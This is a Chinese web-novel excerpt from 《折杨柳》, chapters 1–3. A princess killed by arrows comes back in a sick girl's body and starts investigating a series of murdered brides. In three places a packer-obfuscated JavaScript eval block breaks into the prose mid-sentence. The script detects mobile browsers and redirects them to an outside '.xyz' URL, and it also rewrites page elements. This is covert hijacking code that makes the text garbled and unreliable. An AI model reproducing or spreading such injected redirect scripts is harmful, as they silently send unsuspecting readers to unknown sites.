《折杨柳》 1. 灵女 永乐十五年,新岁到初春一直是干风天,饶是四时雨的蜀郡,也是翻到二月,雨水才多起来。如此没日没夜下了几日,直到花朝,才见响晴的天光。 灵犀院中梅残李发,夕阳裹着宿雨的湿,透过枝杈细碎,落在柳眉妩睫上,粼粼烁烁地闪。 “小姐怎么哭了?”问话的小丫鬟梳着双鬟髻,跪坐榻前关切地看着她。 “没事。”柳眉妩揉了揉眼,“风太大,不小心迷了眼。” “那小茶帮小姐吹吹。” 小茶掖了掖柳眉妩身上盖的大红色联珠狐皮袄,一只手撑在榻上,另一只手按住她眼角,轻轻吹起来。 呼气温热,带着少女独有的清香,像初阳下浣花的山风,熏得人暖洋洋的。柳眉妩思绪飘忽,眼尾似是受潮,缓缓溢出一滴泪。 小茶抬手擦去泪痕,还没说话,又听墙外噼里啪啦一阵嘈杂,顿时了然,“是四公主的送灵仪仗路过。小姐,我们要不要出门接迎,送上一程,也好向四公主讨个保佑。” “逝者已矣,好比泥菩萨过江。”柳眉妩摇头,似叹非叹,“四公主自身都难保,如何还能保佑你们?” “不是保佑你们,是保佑我们,小姐把自己也要算上。”小茶一脸认真地纠正她,“小姐一路车马劳顿,回来后又高烧不退,反复昏睡,今日好不容易退烧醒来,怎么不算是四公主冥冥之中的保佑呢?” 柳眉妩好笑道:“我退烧,是因为我喝了降温退烧的药;我醒来,是因为我已经睡了很久了。” 小茶却不听她的,自顾自双手合十,低声祈祷:“阿弥陀佛,无量天尊,大慈大悲救苦救难的四公主啊,保佑我家小姐快快好起来吧。” 饶是远在西域十余年,她亦听闻那几位金枝玉叶的异姓公主,都是些如何神仙尊贵般的人物——太傅之孙,丞相之女,圣人和洛阳王之妹。尤其是最小的仙游四公主,可谓万千宠爱于一身。便是伸手要天上的星子和月,下人也只担心采的星不是启明星,摘的月不是满月。 只是,到底造化弄人,又或许是赐号仙游的缘故,四公主七日前在南山林遇了害,万箭穿心,死不瞑目。闻者伤心,见者落泪,便是天也动容,晴日惊雷,哭丧雨一下就是七天七夜。 正说着,唢呐声越来越近,伴着巫女哭灵的歌声,更显凄凄惨惨戚戚。柳眉妩听了几句,听出是《薤露》,那首爹爹出殡时被她们反复吟诵的挽歌。 “薤上露,何易晞。露晞明朝更复落,人死一去何时归?” 她缓缓垂下睫羽,掩住眼底情绪。 人死一去,何时归? 她死一去,头七复归。 只是,无论是死而复生,还是借尸还魂,既然她得老天眷顾,跳脱六道轮回,重活一世,又怎会向已死之人希求什么? 即便,那个已死之人是她自己。 昨日爱恨情仇,纷纭如白衣苍狗,她不求鬼神不求人,只想自己亲手清算。来日方长,总能亲手一一清算。 “罢了。”她似叹息,又似释然,擦去眼尾泪痕,抬头瞥见天边虹。 古语有云,日照雨则有虹,日照虹则有霓。可日常有,雨常有,虹不常有,霓更不常有。反观今日种种,死而复生,又见霓虹,莫非是老天在冥冥之中指示于她? 她心跳怦怦,汗毛竖起,忍不住抖了个激灵,热泪盈眶。 “人死不能复生,小姐也不必太难过。”小茶见她眼中又起潮意,以为触景生情,忙不迭出声安慰,却不知想到什么伤心事,也开始哽咽起来,最后几乎是捶胸顿足地哭道,“可恨老天不长眼,如此薄待小姐!” 柳眉妩回忆往事,走马章台,仗剑平康,如今想来早已恍如隔世,心中难免伤感。忽听小茶呜咽落泪,又想起叶灵儿的“难过笄岁”之谶,更觉命运弄人。一时悲从中来,气急攻心,猛地吐出一口血,直直倒回榻上。 小茶吓得直打哭嗝,慌忙朝里屋喊道:“小姐晕倒了,快拿彩虹糖来!” * 仿佛只过了一瞬,又仿佛过了一生。 眼皮似有千斤重,怎么睁也睁不开,模糊视物中,电闪雷鸣,依稀可见天边残阳如血如火。 她伏在地上,感受着身下黄土濡湿,冷雨黏腻,混着压抑浓稠的血腥味,一个劲儿往鼻子里钻,出的气却越来越少。痛如万蚁噬心,渐渐蔓延到四肢百骸,无休无止,无穷无尽,直至彻底吞噬意识。 再醒来,闻到淡淡苏合香。柳眉妩伸手拂过眉心,捏下片纸钱,像大块的镂空珍珠钿。她抿着唇,指腹摩挲,皱眉看向门口。 很吵。 乌泱泱一片白,另缀着一点黄和一抹红。为首那人披孝执绋,将将出列,左右立马扬声喊道:“胡郡守到——” 唢呐停,哭声歇,乌鸦从人群中飞出,吱哇乱叫,径直向她扑来,又被她拿扇打在榻上,桀桀大哭。 “五采,回来。” 红衣傩师伸手招引,话音未落,乌鸦又颠颠儿飞回他掌心,自顾自垂喙梳羽。玄黑的鸟羽在夕阳下轻轻抖动,流出五彩斑斓的色泽。 柳眉妩饶有兴味地看了会鸟,披袄下榻,又走近看他。方相面具,纵目獠牙,形象怎么看怎么狰狞。明明不见五官,她却莫名笃定,他也在打量自己。 她舔了舔没什么血色的唇,目光却灼灼,“大师,我好看吗?” 掌心轻抖,乌鸦惊得乱叫,玄羽梳到一半又炸开,扑翅扇了好几下才堪堪稳住身形,又停到主人肩上,继续梳羽。 傩师垂下面具,似乎垂下了视线,“贵人乃千金之躯,是某冒犯了。” 柳眉妩咬着“千金之躯”几字细品,半垂着眼理翻飞的衣袂,春衫素净轻软,沉水香盈满风袖。不过半日光景,她已坦然接受自己遇刺身亡,又借尸还魂的事实。 但此事隐秘,天知,地知,她知,外人却万万不得而知。哪怕是傩师,相传可请神通灵的傩师,也决计不可能知道。 因为,世上没有神灵。 若举头三尺有神灵,满腹忠君报国的爹爹怎会遇害秦岭?一心明察暗访的她又怎会横死蜀郡? 思绪回笼,她缓缓开口,眉目清冷,音色浅淡,“大师,既知冒犯,便不要去做,会讨人嫌。” 傩师动作一顿,似乎有些茫然,很快又反应过来。他好像在看她,又好像没有,随即从象牙权杖上揪下一丛玄须,随手一扬,幻出只黑蝶,晃晃悠悠地落到柳眉妩眉心。 乌鸦展开流光溢彩的玄羽,倏地仰天长鸣,人群随之爆出惊呼,此起彼伏,像庆贺又像狂欢。 柳眉妩不明所以,又见傩师高举权杖,口中念念有词,围着她绕圈。顶端铜铃叮当作响,阳刻的鱼纹缓缓游动,泛着冷色光泽,似乎下一瞬就要脱身而出。玄须翻飞,拂过她的头顶、面颊、眉眼,黑蝶忽然不知所踪。 不等柳眉妩反应,傩师长啸一声,跪倒在地,身后白的黄的红的紧跟着五体投地,口中齐呼“四公主显灵,灵女万吉”,朝她伏礼。 秋千姑姑闻讯赶来,便是见着这幅情景,一脸茫然。和小茶互换了眼色,又两脸茫然。但到底是叶家的管事姑姑,定了定心神,便得体站出来招待贵客。 很快礼毕,傩师捡起权杖先起,左右扶胡郡守起,黄衣真人再起,其余众人这才如浪涌潮涨般纷纷起身。 柳眉妩心有所感,瞥了眼象牙权杖。被这么甩开再捡起,竟也润泽如玉,无半点灰尘裂痕。 “四公主显灵,亲选灵女,我等自然伏礼听旨。”胡郡守缓缓捻须,向秋千姑姑解释完,转头又朝她恭敬地笑,“叶小姐,哦不,灵女,这可是天大的福气,旁人想求都求不来唷!” 秋千姑姑又惊又喜,“大人的意思是说,我家小姐被四公主亲自选中做了灵女?” 公主灵女,便是公主口舌,上传下达,何等荣光! 胡郡守只是微笑点头。 众人连声附和,纷纷道喜。 秋千姑姑见状,与有荣焉,合十低诵阿弥陀佛,慢慢湿了眼眶,“定是夫人在天有灵,保佑小姐修得这般造化。” 方郡丞解释:“七日前,四公主在南山林遇害,郡孝一重,国孝又一重,我等自免不了建棺立冢。棺中人倒好说,虽说四公主的衣冠尸首早已加急运回长安,但取几抔沾血黄土也算拟人。可冢外人就不好办了。 “倒不是怕生者不乐意,就怕亡者不乐意。而四公主在蜀一无孝男孝女,二无体己心腹,谁来守夜哭丧?公廨里的人倒是愿意守灵,结果一连好几晚,灵烛点了又灭,白幡挂了又掉,显然是四公主不乐意。 “府君左寻右寻,实在寻不到合适人选,只好让傩师请神通灵。待询问了四公主的在天之灵,确定了灵女,往后烧七之礼,也就有人名正言顺地披孝守灵了。” “好在功夫不负有心人,今日头七,找到了灵女。不论四公主是在天有灵,还是回魂探亲,想必都能安息了。”胡郡守慢捻胡须,如释重负。 “胡郡守,此言差矣。四公主若真是在天有灵,头七回魂,就该回长安相府见亲友,而不是重游蜀郡南山,再历一遍穿心之痛。” “灵女所言极是。”胡郡守嘿嘿陪笑,“但到底是件皇差,食君之禄,担君之忧,总得体体面面办好不是。” 柳眉妩哼笑一声,不说话了。 小厮抬来软轿,秋千姑姑又点了小茶几人贴身伺候。唢呐再起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268956|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸钱连天,一行人跟在送灵仪仗后,悠悠往南山林而去。 行了半晌,柳眉妩打起轿帘,招呼去而复返的小茶近身,“小茶,消息如何?” “小姐果真料事如神。胡郡守一开始找的确实不是傩师,而是青城山的长卿真人和峨眉山的怀素圣僧,但圣僧有事不能下山,才换的傩师。不过听闻这位大师名头可不小,请神通灵的本领很是高强,还是专程从巴郡请来的呢。” “能不能请神通灵我不清楚,但故弄玄虚的本领确实不错。” 小茶捂嘴笑道:“小姐,你被大师用玄须当众选中,还觉得他是故弄玄虚啊?” “小茶,你还是见的少了。见的多了,就会知道,所谓玄须化蝶,不过是下等杂技里最简单的障眼法,故弄玄虚罢了。欸,我知道你想问什么,那蝶为何会不偏不倚正落在我眉心,”柳眉妩从袖中拿出一物,递给小茶,“你看这是什么?” “纸钱?” “再闻闻。” 小茶半信半疑,接过纸钱一闻,“好香,这纸钱上撒了苏合香粉。” “不错。” “可是小姐,苏合香除邪辟秽,庇护亡灵,有何不妥?” “没有不妥。”柳眉妩右手支颐,抵在窗边娓娓道来,“蝶恋花,自然也恋花粉。方才我的额角落了片纸钱,虽拂去,却残有香气,蝴蝶闻香而来,才会停在我眉心。” “原来如此。”小茶似懂非懂,“小姐,说起来,我还听到一件奇也怪哉的事,你再分析分析。” 柳眉妩静听下言。 “今日四公主头七,官家送灵,不成想走到一半,大家身上却越来越重,肩上的灵棺也越来越重。更有甚者,出小南门时,棺中响声如雷,就好像四公主还阳发怒一般。 “多亏了大师通灵解意,这才指引仪仗队伍寻来我们别业。而更奇怪的是,一到别业外,不论是大家身上还是棺上,又都越来越轻。小姐你说,这是不是奇也怪哉。” 柳眉妩不答反笑,饶有兴味地叹道:“如此听来,这傩师倒确实有些意思。” “小姐此言何解?” “小茶,凡事不要先入为主。跳出鬼神之说,你会发现解法何其简单。” 小茶不解。 “你只要知道,这世上没有神,也没有鬼,只有装神弄鬼的人。”柳眉妩笑道,“我且问你,四公主在南山林遇害,蜀郡上下免不得披麻戴孝,如此一来,送灵之人所穿为何?” “郡孝一重,国孝又一重,且圣旨特下,举国服丧,他们自然是穿斩衰。” “不错,斩衰为五服之最,是用生粗麻布制成,吸水快,干得也快。” 小茶恍然大悟,“小姐我明白了!算时辰,送灵仪仗从郡廨出发到小南门,正是大雨时分,等出了江桥门,再到别业附近,又差不多刚好雨停。所以大家身上才会先越来越重,再越来越轻。” 柳眉妩点头,“同理,灵棺也是如此。” “不对吧小姐,我仔细看过四公主的棺,通体透绿,色泽清亮,是一等一的阴沉金丝楠木,最是防水防潮。” “棺木本身确实防水防潮,只是那棺上铺的蚕丝褥子却不然。它和斩衰一样,遇水吸湿,自然越来越重,雨停后湿气蒸发,又越来越轻。再说棺中有物,就更简单了,扶灵送葬,行路中难免磕碰,便有响声,这也值得大惊小怪?” “原来如此,多谢小姐解惑。” 柳眉妩正要说话,忽听前路喧哗,哭喊吵闹乱作一团,抬眼看,只看见几名官吏横身并肩站成一排,不知所拦何人。待软轿走近,方看清是位老妇人,两鬓苍苍,短身伛偻,口中咿呀难成言,但余哭声撕心裂肺。 小茶道:“是哑婆,也是个可怜人。” 柳眉妩不明所以,却也由衷叹道:“口虽哑而声不哑,闻者伤心,见者落泪。” 话音未落,蓦地对上哑婆浑浊虚空的眼。眼翳生白,血泪纵横,一派苍凉萧索的死气,盯得人头皮发麻。她慌得错开视线,一个不留神,却见哑婆奋力挣开桎梏,朝她奔来,面目似狰狞又似解脱,神色悲壮而坚定。 柳眉妩忽然目眩。 一瞬间,哑婆低矮瘦弱的形象与无数个高大健壮的形象交叠,记忆如走马灯流转,黑衣,蒙面,乱箭,穿心,最后定格在天边如血如火的夕阳。 时过境不迁,还是同样的夕阳,还是同样的南山林,还是同样的恐惧和无助。 她慌忙放下轿帘,捂着心口大口喘息,冷汗湿了眼眶,浸得生疼,几乎睁不开。便是勉强瞪开眼,雾蒙蒙的什么也看不清。 一阵短促耳鸣后,她听到小茶慌乱尖利的喊声,“拦住哑婆!保护小姐!” 2. 官祭 “砰!” 众人只来得及捂嘴惊呼。 柳眉妩心跳一顿,白着脸掀开轿帘,虚景褪去,好半晌才看清眼前的惨象。残阳渐隐,血色却不减,缀在哑婆额角,很快便铺了半张脸。 小茶见小姐眼色,摸出彩虹糖救人,却怎么也喂不进哑婆口里。一探鼻息,温的少凉的多,难怪牙关紧闭,竟是当场气绝。 “小姐,这可没法了。” 虽说彩虹糖非同一般,炼的也都是顶顶好的药草,但到底不是仙丹。清热解毒、益气安神尚可一二,起死回生却是万万不能。 柳眉妩默了半晌,闭目叹道:“罢了。” 小茶另用帕子包了彩虹糖,亦心有戚戚焉,“是我误会哑婆了,没想到她这么决绝,竟以死鸣冤。” “以死鸣冤?”柳眉妩想起哑婆撞轿前的眼神,义无反顾的决绝,悲壮而坚定,看得人心惊肉跳,不由问道,“怎么说?” 不等小茶回话,就见两名官吏过来清场,你抬胳膊我抬腿,荡悠悠就要把人丢到路边的杂草堆里。 “住手!死者为大,你们竟如此弃尸荒野,与草菅人命何异!” 未见其人,先闻其声,待来人从松林树影中走出,方看清是位青衫落拓的书生。但风姿特秀,如山上松,如松下风,萧萧肃肃,高而徐引。 方郡丞先行折回,看清来人后皱眉嗤道:“又是你,顾明远!娼妓之子,承蒙圣恩大赦,脱了贱籍,不好好感恩戴德,却学起旁人当道拦驾。若惊扰了亡灵,耽误了吉时,圣人怪罪下来,你有几个脑袋可以担待?” 顾明远不卑不亢,立如亭亭乔松,语气却颇有些愤慨,“四公主的命是命,顾大娘和双卿的命就不是了吗?尔等口口声声怕圣人怪罪,就不怕顾大娘和双卿索命吗?” 方郡丞听完,朝他狠啐一口,“竖子无礼!你有几个脑袋,也敢大放厥词?威胁恐吓朝廷命官不说,还将乡野村妇和四公主相提并论,其心可诛!” 胡郡守姗姗来迟,坐在马背上捻须长叹:“是本府失职,教化不当,愧负圣恩浩荡。有罪,有罪啊。” “府君,此人不尊公主,不敬朝廷,目无法纪,教化怕是没有惩戒管用。”方郡丞拱手请示,“卑职斗胆,不如拉下去,杖二十,小施惩戒,以儆效尤。” 胡郡守叹气,面北作了一揖,痛心疾首道:“本府最是爱民如子,奈何此子不成器啊。也罢,俗话说得好,棍棒底下出孝子,方郡丞,便依你所言,小施惩戒罢。” “不必假模假样,说些冠冕堂皇的借口。”顾明远冷笑一声,“郡守郡守,一郡之首,枉你身为百姓父母官,食君之禄,却不担君之忧。自你上任蜀郡,官官相卫勾结,治下子民有冤无处诉,有苦不能言,你却只会糊涂和事,粉饰太平。如此渎职,怎对得起头上的乌纱帽?” 胡郡守八风不动,置若罔闻。 “还愣着干什么?”方郡丞勃然怒道,“塞了他的嘴,拉下去,杖五十!” 顾明远不等官吏近身,仰天大笑:“天道无知,我罹其毒。神道无知,彼受其福。悠悠苍天,何薄于我?” 几名官吏持刀挟棒,吆喝着就要把人押下去,忽听一声“且慢”,眼前掠过一阵残影,便被一股巧劲凭空摧倒,疼得“哎唷”直叫唤。 风起南山,竹声簌簌,绿衣女子从林中走出,一手持剑,一手指间还捏着几片竹叶。众人这才后知后觉,这几名官吏便是被她指间竹叶摧倒。 胡郡守看看左,又看看右,捻着胡须不明所以。方郡丞面色几变,好歹抑住了火气,口中和气地问道:“竹姑娘,你这是何意?” “胡郡守,方郡丞,”女子弹开竹叶,抱剑行礼,“鲁郡尉有重要发现,需即刻提审问讯顾明远,还望二位高抬贵手,放人于我。” 胡郡守了然,“原来如此。竹姑娘和二公子查案,乃是杨将军亲自授意,蜀郡百姓心之所愿,本府又怎会横加阻挠?你们要人,带走便是,何须如此这般,伤了和气呢。和气生财,和气生财啊。” 竹悠然又行一礼,“事态紧急,悠然这才贸然出手。若有考虑不周之处,还望胡郡守和方郡丞,大人不计小人过。” 胡郡守呵呵笑道:“好说好说,本府最是爱民如子了。” 话虽如此,余光却不动声色地扫过软轿。但见轿帘低垂,仆从静默,仿佛谁也不曾注意到两人来了又去的动静。 * 仪仗继续前行,赶着吉时到了“大新仙游四公主之墓”前。因为清过场,官祭十分顺利,但也算不上清静,毕竟里里外外围了不少百姓,男女老少,热闹非凡。 若依烧七之礼,头七当天本不该来墓地烧纸哭灵,容易惊扰游魂煞魄,招惹不洁之物。但傩师算出今日灵女现世,择日不如撞日,干脆便定在头七之日入土为安。笅杯为准,反正是四公主的意思,胡郡守等人自然没有异议。 亲戚或余悲,他人亦已歌。有人折了花,有人提了酒,有人带了茶果点心,恭恭敬敬摆在四公主墓前,说些“安息”、“保佑”之类的话。 故地重游,柳眉妩以为会感慨,会难过,会愤怒,然而她十分平静。死过一回,倒真像抽身成为旁人一般,冷眼旁观了起来。 昨日种种,譬如昨日死;今日种种,譬如今日生。生死一念间,如梦幻泡影,如露亦如电。 回头万里,群山千壑,长安更在千山外。垂眼碑前,香火绵延,叩头不绝,与松涛残照相和。 她忽然生出几分感慨,猝不及防,似是而非。 她曾死在这里,如今埋在这里,即便大家都知道,她的衣冠尸骨并不会在这里。而算算日子,此时的她,当被专人快马护送回了长安。 娘亲会扶棺痛哭,姐姐们会通宵守灵,宝儿和十三会为她落泪,两个哥哥和大嫂嫂也会为她难过。而她,那副万箭穿心的残破骸骨,会在灵堂停柩七日,被扬衣招魂,被面北呼名,最后无事发生。于是她葬入凤栖原,从此便长长久久地陪着爹爹。 这本该是柳眉妩短暂又令人唏嘘的一生。 只是谁也没想到,她自己也没想到,她竟然借尸还魂了。 “小姐,往这边走。” 出神间,小茶在身后叫她。 南山林很大,她的墓前有两条路。一条是来时路,来来往往的人很多,连接着烟火人间;一条却通向山林更深处,没什么人走,在苍茫的暮色下显出几分疏旷的野意。 柳眉妩脚下没停,“我随便走走。” 小茶快走几步追上她,低声劝道:“小姐,不能往那里去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268957|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不干净。” “怎么说?” 话音刚落,后知后觉小茶似乎还欠了个“怎么说”没有解释,不由得慢慢停了步子。 小茶看了看四周,四周没有人看她们,但她还是不自觉地压低了声音:“小姐,我听说那里死了好多新娘,死后都变成了枯尸,没血没肉,只剩下了皮包骨头,很是吓人。你身子弱,还是不要过去了,小心惹上不干净的东西。” “凶手抓到了吗?” 小茶摇摇头。 柳眉妩皱眉,不自觉冷了声音,“这么多新娘遇害,凶手却还是逍遥法外,蜀郡的公廨莫不是养了一帮吃干饭的?顾明远外强中干,有句话倒说的不错,如此弃尸荒野,糊涂为官,与草菅人命何异?” 小茶乍见柳眉妩冷脸,愣了愣,才继续道:“小姐有所不知,之前遇害的新娘都是山野农女,官府装模作样立了案,根本就没有后续调查,一拖再拖,也就不了了之了。好比哑婆的女儿双卿,便是其一。 “直到去年年底,李家二小姐出了事。侯夫人闹得沸沸扬扬,怎么也不肯善罢甘休,甚至还让人往胡郡守家的大门上泼狗血。最后两家闹到了将军府,还是杨将军出面调和的。” 短短几句,柳眉妩听得眉头皱了又皱,心中对蜀郡郡情也有了初步认知,猛不丁听到耳熟的称呼,愕然反问道:“杨将军?小茶,你说的可是前天策大将军,杨予安杨将军?” “好像是叫什么天策大将军,至于杨将军名讳,我就不清楚了。” 柳眉妩点头,“那便是了。” 她早就听过杨予安大名,甚至可谓响当当如雷贯耳。潼关一役,杨予安一剑曾当百万师,直取敌将首级,救皇上姨父于危难之间。战功赫赫,封天策大将军,风头一时无两。 直到元和六年,爹爹官拜太平相。自此大将军与太平相,一武一文,如日如月,交相辉映,照彻大新的半壁江山,几度被皇上姨父赞为大新的左膀右臂。 她虽不曾见过皇上姨父,但自记事以来,却不止一次听到夫子们说起,大哥哥也听之信之,敬之重之,几乎奉为金圭玉臬—— “看我大新脊梁,便是杨将柳相。将相和,则杨柳荫;杨柳荫,则山河定;山河定,则四方来朝,天下归心。” 回忆至此,柳眉妩蓦地垂下眼睫。 可是谁又能预料得到,昔时如日如月,比肩辉映的杨将柳相,最后的归宿却是一个卸甲还乡,一个怀诏遇害。 她忽然又抬眼,看向天边残照,不禁热泪盈眶。 她怎么就忘了呢,太阳再高,光芒再盛,终究还是要下山的。可是泱泱大新,最不缺的就是人才。今天的太阳下山了,明天山的那边,又会冉冉跃出一轮新的红日。 是旭日,还是落日,于大新而言,没什么区别。长江后浪推前浪,世上新人赶旧人,青山依旧在,无论几度夕阳红。只是,于她而言,却是真真切切的天人永隔,丧亲之痛。 可是,她也知道,总有什么比生命更珍贵。于君王是社稷,于官吏是百姓,于文人是风骨,于侠客是道义。而于千千万万蒙冤受难的百姓,则是清白,是真相。 比如哑婆的女儿双卿,比如李家的二小姐。 比如爹爹。 也比如,她。 3. 婚约 小茶终是没拦住柳眉妩,只好跟着她深一脚浅一脚地往人迹罕至的山林深处走。南山林幽而静,越往里走,越没有人声,偶尔听到几声尖细的鸟鸣,断断续续,更显空山悄然。 两人走得慢,且行且停,柳眉妩脸上却还是出了层细细的汗。 “小姐,停一停吧,小茶帮你擦擦汗。” 柳眉妩便在树下停住步子,捂着心口微微喘息,任由小茶掀开幂篱,为自己擦汗。她又热又累,头昏脑胀,心神难免恍惚,却又分外清明。 太弱了。 这副身子,实在太弱了。 先天不足,后天失养,走一会就要停,站一会就要坐,坐一会就要躺,睡一会又要醒,周而复始,反反复复,简直无时无刻不折磨。年纪轻轻病气缠身,即便有灵丹妙药温养着,也抵不住“难过笄岁”的谶言诛心。 柳眉妩鸠占鹊巢,自然不知这谶言背后的渊源,到底是云游方士的妄言还是预言。她只是难免想到自己,想到那个潇洒恣意又恍若隔世的自己。 十二岁那年,北狄犯境,文书八百里加急回京,朝中大臣纷纷来相府找爹爹商议对策。因是休沐,她缠着爹爹陪她放纸鸢,被好事者开玩笑说,再胡闹便拿她去和亲。 爹爹和宗伯父当场冷了脸。她却不怒不恼,淡然拔出腰间扶光,反手利落挽了个剑花。剑锋所指,花叶纷飞。她于人前迎风而立,不像亭亭玉立的花,更像凛凛出鞘的剑,音色稚嫩而坚定。 “弱者才会和亲求安,苟且偷生,本公主不屑于此。若战,本公主一骑当先,狄人胆敢犯我北境,先问我手里的剑答不答应。” 好事者闻言,面红耳赤,讷讷无话。围观者却连声喝彩,直言虎父无犬女,四公主巾帼不让须眉,大有李娘子遗风。 而试问如此胸襟气度,一身铜筋铁骨,如何会是这般弱柳扶风模样?又如何能安于这般弱柳扶风模样? 小茶不知柳眉妩九曲十八弯的心思,但见小姐出神,连声劝道:“小姐,我也是听别人说的,不知道那些新娘遇害抛尸的地方到底在哪里。要不我们还是回去吧,这里静得吓人,我瘆得慌。” “来都来了,再找找看吧。”柳眉妩闻言回神,眯了眯眼,“小茶,你方才说,那些新娘被凶手放血,写了什么话?” “阎君有请,王不留行。” “阎君有请,王不留行。” 柳眉妩和小茶异口同声道。 小茶奇怪,小姐记得,为什么还要问她?她偏了偏头,顺着柳眉妩发直的目光望去,脑中“嗡”一声弦断,震得头皮发麻。一股骇意从脚底心直冲到天灵盖,传遍四肢百骸,身子也止不住地抖了个激灵。 青黄相接的草地上,八个大字红得触目惊心,仿佛看一眼就能闻到浓郁扑鼻的血腥味。 小茶胃里翻江倒海,忙背过身去,用帕子捂着嘴,想忍住那阵呕意。忍了又忍,眼泪没忍住流了下来,双肩也逼得高高耸立。 “小姐……” 她的声音很轻,话没说完,胃里又是一阵翻腾上涌,酸水霎时窜到喉咙。她撑着树根,蹲在地上呕了一大口出来,才好受些。 呕完,她侧仰着头去看柳眉妩,声音已然带上了哭腔,“小姐,我们快回去吧。” 然而柳眉妩没注意到她的异样,也没听到她的说话。她直直站着,甚至还向那两行血字走近了些,似乎在回忆什么,口中喃喃出声:“王不留行,这四个字,我好像在哪里见过。” “姑娘在哪里见过王不留行?” 声音是从自己头顶传来的,可等小茶抬头去看,却只看到一袭翻飞的月白衣角。她来不及反应,整个人腾一下跳起来,冲向柳眉妩,手忙脚乱放下幂篱,又张开双手,将她紧紧护在身后。 那人愣了愣,似乎也觉出自己无礼,忙后退一大步,虚垂着眉眼,抱拳解释道:“在下杨无名,受李老爷所托,调查李二小姐新婚遇害一案。方才听姑娘说见过王不留行,这才忽然现身,绝无半点唐突之意。” 小茶似乎被他的话说动了,慢慢垂下双手,不知想到什么,绷直的身子软了一瞬又僵住。她向柳眉妩递眼色,可柳眉妩还是没看她。 “杨公子。”她饶有兴味地看了看杨无名,又仰头看了看枝叶遮天的树,“你在树上做什么呢?” 十七八岁的少年郎,手中有剑,眼中有光,是怎么遮也遮不住的意气风发。穿一身月白长衫,额上系同色抹额,分明怎么看怎么端方守礼,矜贵逼人。 那是从骨子里透出来的君子风度。 就是不知,为何要做树上君子? 杨无名道:“搜寻线索。” “有何发现?” 杨无名摇头,“没有发现。” 柳眉妩忽然笑了一声,低头漫不经心地把玩着指尖蔻丹,语气是说不出的风轻云淡,“若杨公子是这般态度,我可什么都想不起来了。” 杨无名终于抬眼看她,隔着幂篱,柳眉妩不避不闪,甚至,唇角笑意更深。半晌,还是杨无名败下阵来,垂下眼问她:“姑娘认识她们?” 柳眉妩却摇头,“不认识,也不需要认识。作奸犯科者,杀人偿命,人人得而诛之,不是么?” 杨无名了然,点头道:“我确实没有新发现,但姑娘若感兴趣,我可以和姑娘说说之前的发现,也算礼尚往来,互通有无。” 柳眉妩没意见。 “我在李家见过李二小姐的停尸,皮包骨头,血肉全无。她的颈上有一道枯藤痕迹,我猜她是被刀,或是像刀一样的粗宽利刃所杀,但实在猜不出是怎么被吸血去肉的。我也问过仵作,仵作说李二小姐的死因死状,和其余五位遇害新娘一模一样,那便都是王不留行所为。” 杨无名说到“王不留行”四个字时,小茶轻轻抖了一下,忍不住转头看向身后,却被柳眉妩捏住手心,宽慰道:“别怕,那些字不是血写的。” “不错。所有新娘抛尸的地方,虽然都有这样一行红字,阎君有请,王不留行,但这行字只是红漆所写,并非血写。”杨无名又看了柳眉妩一眼,有些好奇,“姑娘不曾近看,怎知那些红字并非血写?” 他刚上树,就见两人携手过来,男女授受不亲,干脆便避在了树上。他见到小茶见了那些字,吓得厉害,也呕得厉害;也见到她见了那些字,却像无事人一般,从容淡定,甚至不曾近看,就知道那些红字并非血写。 “因为颜色不对。那几个字若是血写,这么多天过去了,颜色应是乌黑或黑红,断不会是现在的大红。”顿了顿,柳眉妩又皱起眉,“可是,如果这些红字不是血写,那她们被吸干的血又去了哪里呢?” “我也不知。”杨无名摇头道,“我已将知道的都告诉了姑娘。还请姑娘告诉在下,你在哪里见过王不留行?” “在,家中的某本书上,似乎见过。” 柳眉妩断断续续,目光飘忽。 若是熟悉她的人,定知她此时讲话不可全信。可杨无名并不熟悉,反而觉得她在搜肠刮肚地回忆,便有七八分信了她的胡诌,剩下的两三分也只是试探性地问了句:“姑娘确定吗?” 柳眉妩如实道:“不确定。” “……” 沉默片刻,杨无名又问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268958|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知令府是?” 小茶恭敬道:“回二公子,我家老爷是成都首富,叶茂叶老爷。” “叶姨父?”杨无名的眼睛霎时亮了,似乎透过幂篱看清了她的容貌,与儿时某只粉团子合二为一,不禁笑道,“那你就是,灵儿表妹!” 柳眉妩看看小茶,又看看杨无名,有些丈二和尚摸不着头脑。好半晌,也只是点了点头,不发一言。 “你该叫我二表哥。”杨无名笑意更盛,转而又道,“时候不早了,灵儿表妹,我送你们回去吧。” 柳眉妩下意识就要拒绝,小茶却先她一步乐呵呵应下,“那就多谢二公子了。” 